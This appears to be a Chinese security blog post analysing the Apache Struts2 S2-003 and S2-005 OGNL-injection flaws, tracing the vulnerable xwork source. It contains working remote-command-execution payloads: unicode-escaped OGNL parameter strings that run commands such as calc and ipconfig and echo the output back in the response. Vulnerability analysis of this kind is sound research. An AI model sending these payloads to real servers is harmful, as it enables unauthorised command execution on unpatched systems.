Chybeta

【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005

阿里先知安全社区:【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005

S2-003

漏洞信息

漏洞信息页面: https://cwiki.apache.org/confluence/display/WW/S2-003

漏洞成因官方概述:XWork ParameterInterceptors bypass allows OGNL statement execution

漏洞影响:

环境搭建

s2-003漏洞的payload用到了特殊字符,在高版本tomcat中会失败,需要使用tomcat6来测试。我使用的是6.0.9版本。此外导入的struts版本为2.0.11.2

漏洞利用

POC:

1
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)

回显:

1
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

漏洞分析

在struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:177 获取到我们传入的参数

getValueStack之前,执行了一些初始化操作,比如:

1
OgnlContextState.setDenyMethodExecution(contextMap, true);

xwork.MethodAccessor.denyMethodExecution设置为true。为了能够调用方法,需要在poc中的第一部分将denyMethodExecution设置为false,之后才能任意代码执行。

跟入setParameters(action, stack, parameters);至 struts/struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:201。此部分开始通过迭代器取出一个个传入的参数,并进行处理。

假设此时我传入的参数如下,注意这个与poc的不同在于,我将第一个\u0023替换成了#。:

1
('#context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)

跟入acceptableName至 struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:271

1
2
3
4
5
6
protected boolean acceptableName(String name) {
if (isAccepted(name) && !isExcluded(name)) {
return true;
}
return false;
}

跟入isAccepted(name)

这里通过简单的正则表达式[\p{Graph}&&[^,#:=]]*来检测,防止传入恶意特殊字符开头如#等。因此acceptableName返回false,接下来的ognl表达式自然也不会执行了。

1
2
3
4
if (acceptableName) {
Object value = entry.getValue();
...
}

但如果传入经过编码后的payload。#对应的unicode为\u0023,八进制为\43,则可以绕过上述的检测,也即导致acceptableName为true,从而进一步执行。

在设置denyMethodExecution为false后,poc的第二部分就是通过方法调用来执行任意命令了:

1
('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)

S2-005

漏洞信息

漏洞信息页面: https://cwiki.apache.org/confluence/display/WW/S2-005

漏洞成因官方概述:XWork ParameterInterceptors bypass allows remote command execution

漏洞影响:

漏洞分析

S2-005的出现时因为官方对S2-003的修补的不完全导致的。官方通过增加安全配置禁止静态方法调用(allowStaticMethodAcces)和类方法执行(MethodAccessor.den
yMethodExecution)等来修补。但同样的直接使用上面的技巧,更改poc为:

1
('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

即可设置allowStaticMethodAccess为true,和denyMethodExecution为false,从而导致任意命令执行。可以参考Struts2漏洞分析与研究之S2-005漏洞分析CVE-2010-1870: Struts2/XWork remote command execution。其余的代码调用等,与S2-003相同,分析见上。

ognl的解析

一个问题,为什么\u0023形式的poc能够被解析呢?
https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20180507/8.png?raw=true

跟入setValue 至 struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/util/OgnlValueStack.java:170

跟入OgnlUtil.setValue,struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/util/OgnlUtil.java:185

1
2
3
public static void setValue(String name, Map context, Object root, Object value) throws OgnlException {
Ognl.setValue(compile(name), context, root, value);
}

此处name即我们传入的参数(\u0023...,跟入compile中的o = Ognl.parseExpression(expression);:

1
2
3
4
5
6
public static Object parseExpression( String expression ) throws OgnlException
{
try {
OgnlParser parser = new OgnlParser( new StringReader(expression) );
return parser.topLevelExpression();
}

topLevelExpression就开始了进行语法分析工作。在获得(的token为44后,接着进行expression();的解析。

在其中会调用到 ognl/JavaCharStream.java 的readChar。其中代码摘取部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public char readChar() throws java.io.IOException
{
...
char c;
if ((buffer[bufpos] = c = ReadByte()) == '\\')
{
...
int backSlashCnt = 1;
for (;;) // Read all the backslashes
{
try
{
if ((buffer[bufpos] = c = ReadByte()) != '\\')
{
UpdateLineColumn(c);
// found a non-backslash char.
if ((c == 'u') && ((backSlashCnt & 1) == 1))
{
if (--bufpos < 0)
bufpos = bufsize - 1;
break;
}
backup(backSlashCnt);
return '\\';
}
}
...
}

读取\,并在之后如果遇到了u则进一步处理:

从而把\u0023转换成了#。之后执行ognl表达式时即执行"#context[\'xwork.MethodAccessor.denyMethodExecution\']=false"

本文标题:【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005

文章作者:chybeta

发布时间:2018年05月08日 - 07:05

最后更新:2018年05月08日 - 07:05

原始链接:http://chybeta.github.io/2018/05/08/【struts2-命令-代码执行漏洞分析系列】S2-003和S3-005/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创技术分享,您的支持将鼓励我继续创作!